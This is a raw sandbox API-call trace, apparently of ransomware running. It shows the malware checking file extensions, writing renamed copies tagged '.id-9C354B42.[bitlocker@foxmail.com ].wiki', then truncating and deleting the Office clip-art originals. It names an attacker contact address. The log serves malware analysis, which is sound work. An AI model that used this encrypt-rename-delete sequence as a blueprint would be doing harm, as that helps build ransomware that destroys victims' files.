[0195.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.772] lstrlenW (lpString=".doc") returned 4 [0195.772] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.772] lstrlenW (lpString=".docx") returned 5 [0195.772] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0195.772] lstrlenW (lpString=".pdf") returned 4 [0195.772] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.772] lstrlenW (lpString=".xls") returned 4 [0195.772] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.772] lstrlenW (lpString=".xlsx") returned 5 [0195.772] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0195.772] lstrlenW (lpString=".ppt") returned 4 [0195.772] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.772] lstrlenW (lpString=".zip") returned 4 [0195.772] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.772] lstrlenW (lpString=".rar") returned 4 [0195.773] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.773] lstrlenW (lpString=".bz2") returned 4 [0195.773] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.773] lstrlenW (lpString=".7z") returned 3 [0195.773] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString=".dbf") returned 4 [0195.773] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString=".1cd") returned 4 [0195.773] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString=".jpg") returned 4 [0195.773] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString=".doc") returned 4 [0195.773] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.773] lstrlenW (lpString=".docx") returned 5 [0195.773] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0195.773] lstrlenW (lpString=".pdf") returned 4 [0195.773] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.773] lstrlenW (lpString=".xls") returned 4 [0195.773] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.773] lstrlenW (lpString=".xlsx") returned 5 [0195.773] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0195.773] lstrlenW (lpString=".ppt") returned 4 [0195.773] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.773] lstrlenW (lpString=".zip") returned 4 [0195.773] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.773] lstrlenW (lpString=".rar") returned 4 [0195.774] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.774] lstrlenW (lpString=".bz2") returned 4 [0195.774] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.774] lstrlenW (lpString=".7z") returned 3 [0195.774] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.774] lstrlenW (lpString=".dbf") returned 4 [0195.774] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.774] lstrlenW (lpString=".1cd") returned 4 [0195.774] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0195.774] lstrlenW (lpString=".jpg") returned 4 [0195.774] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.774] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.774] lstrlenW (lpString="J0145361.JPG") returned 12 [0195.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.774] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21125) returned 1 [0195.775] CloseHandle (hObject=0x218) returned 1 [0195.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0195.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.775] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.775] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.775] GetLastError () returned 0x0 [0195.775] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5285, lpOverlapped=0x0) returned 1 [0195.778] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5290, lpOverlapped=0x0) returned 1 [0195.779] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.779] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.779] SetEndOfFile (hFile=0x1e4) returned 1 [0195.779] CloseHandle (hObject=0x1e4) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.779] SetEndOfFile (hFile=0x218) returned 1 [0195.780] CloseHandle (hObject=0x218) returned 1 [0195.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.780] lstrlenW (lpString=".doc") returned 4 [0195.780] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.780] lstrlenW (lpString=".docx") returned 5 [0195.780] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0195.781] lstrlenW (lpString=".pdf") returned 4 [0195.781] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.781] lstrlenW (lpString=".xls") returned 4 [0195.781] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.781] lstrlenW (lpString=".xlsx") returned 5 [0195.781] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0195.781] lstrlenW (lpString=".ppt") returned 4 [0195.781] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString=".zip") returned 4 [0195.781] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.781] lstrlenW (lpString=".rar") returned 4 [0195.781] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.781] lstrlenW (lpString=".bz2") returned 4 [0195.781] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.781] lstrlenW (lpString=".7z") returned 3 [0195.781] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString=".dbf") returned 4 [0195.781] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString=".1cd") returned 4 [0195.781] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString=".jpg") returned 4 [0195.781] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.781] lstrlenW (lpString=".doc") returned 4 [0195.781] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.781] lstrlenW (lpString=".docx") returned 5 [0195.782] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0195.782] lstrlenW (lpString=".pdf") returned 4 [0195.782] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.782] lstrlenW (lpString=".xls") returned 4 [0195.782] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.782] lstrlenW (lpString=".xlsx") returned 5 [0195.782] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0195.782] lstrlenW (lpString=".ppt") returned 4 [0195.782] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.782] lstrlenW (lpString=".zip") returned 4 [0195.782] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.782] lstrlenW (lpString=".rar") returned 4 [0195.782] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.782] lstrlenW (lpString=".bz2") returned 4 [0195.782] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.782] lstrlenW (lpString=".7z") returned 3 [0195.782] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.782] lstrlenW (lpString=".dbf") returned 4 [0195.782] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.782] lstrlenW (lpString=".1cd") returned 4 [0195.782] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0195.782] lstrlenW (lpString=".jpg") returned 4 [0195.782] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.782] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.783] lstrlenW (lpString="J0145373.JPG") returned 12 [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.783] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17867) returned 1 [0195.783] CloseHandle (hObject=0x218) returned 1 [0195.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0195.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.783] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.783] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.784] GetLastError () returned 0x0 [0195.784] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x45cb, lpOverlapped=0x0) returned 1 [0195.786] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x45d0, lpOverlapped=0x0) returned 1 [0195.787] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.788] SetEndOfFile (hFile=0x1e4) returned 1 [0195.788] CloseHandle (hObject=0x1e4) returned 1 [0195.788] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.788] SetEndOfFile (hFile=0x218) returned 1 [0195.789] CloseHandle (hObject=0x218) returned 1 [0195.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0195.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.789] lstrlenW (lpString=".doc") returned 4 [0195.789] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.789] lstrlenW (lpString=".docx") returned 5 [0195.789] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0195.789] lstrlenW (lpString=".pdf") returned 4 [0195.789] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.789] lstrlenW (lpString=".xls") returned 4 [0195.789] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.789] lstrlenW (lpString=".xlsx") returned 5 [0195.789] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0195.790] lstrlenW (lpString=".ppt") returned 4 [0195.790] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString=".zip") returned 4 [0195.790] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.790] lstrlenW (lpString=".rar") returned 4 [0195.790] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.790] lstrlenW (lpString=".bz2") returned 4 [0195.790] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.790] lstrlenW (lpString=".7z") returned 3 [0195.790] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString=".dbf") returned 4 [0195.790] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString=".1cd") returned 4 [0195.790] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString=".jpg") returned 4 [0195.790] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.790] lstrlenW (lpString=".doc") returned 4 [0195.790] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.790] lstrlenW (lpString=".docx") returned 5 [0195.790] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0195.790] lstrlenW (lpString=".pdf") returned 4 [0195.790] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.790] lstrlenW (lpString=".xls") returned 4 [0195.790] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.790] lstrlenW (lpString=".xlsx") returned 5 [0195.790] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0195.791] lstrlenW (lpString=".ppt") returned 4 [0195.791] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.791] lstrlenW (lpString=".zip") returned 4 [0195.791] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.791] lstrlenW (lpString=".rar") returned 4 [0195.791] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.791] lstrlenW (lpString=".bz2") returned 4 [0195.791] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.791] lstrlenW (lpString=".7z") returned 3 [0195.791] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.791] lstrlenW (lpString=".dbf") returned 4 [0195.791] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.791] lstrlenW (lpString=".1cd") returned 4 [0195.791] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0195.791] lstrlenW (lpString=".jpg") returned 4 [0195.791] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.791] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.791] lstrlenW (lpString="J0145669.JPG") returned 12 [0195.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.792] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=31850) returned 1 [0195.792] CloseHandle (hObject=0x218) returned 1 [0195.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0195.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.794] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.794] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.794] GetLastError () returned 0x0 [0195.794] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7c6a, lpOverlapped=0x0) returned 1 [0196.012] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7c70, lpOverlapped=0x0) returned 1 [0196.581] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.582] SetEndOfFile (hFile=0x1e4) returned 1 [0196.582] CloseHandle (hObject=0x1e4) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.582] SetEndOfFile (hFile=0x218) returned 1 [0196.583] CloseHandle (hObject=0x218) returned 1 [0196.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.583] lstrlenW (lpString=".doc") returned 4 [0196.583] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.583] lstrlenW (lpString=".docx") returned 5 [0196.583] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.583] lstrlenW (lpString=".pdf") returned 4 [0196.583] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.583] lstrlenW (lpString=".xls") returned 4 [0196.583] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.583] lstrlenW (lpString=".xlsx") returned 5 [0196.583] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.583] lstrlenW (lpString=".ppt") returned 4 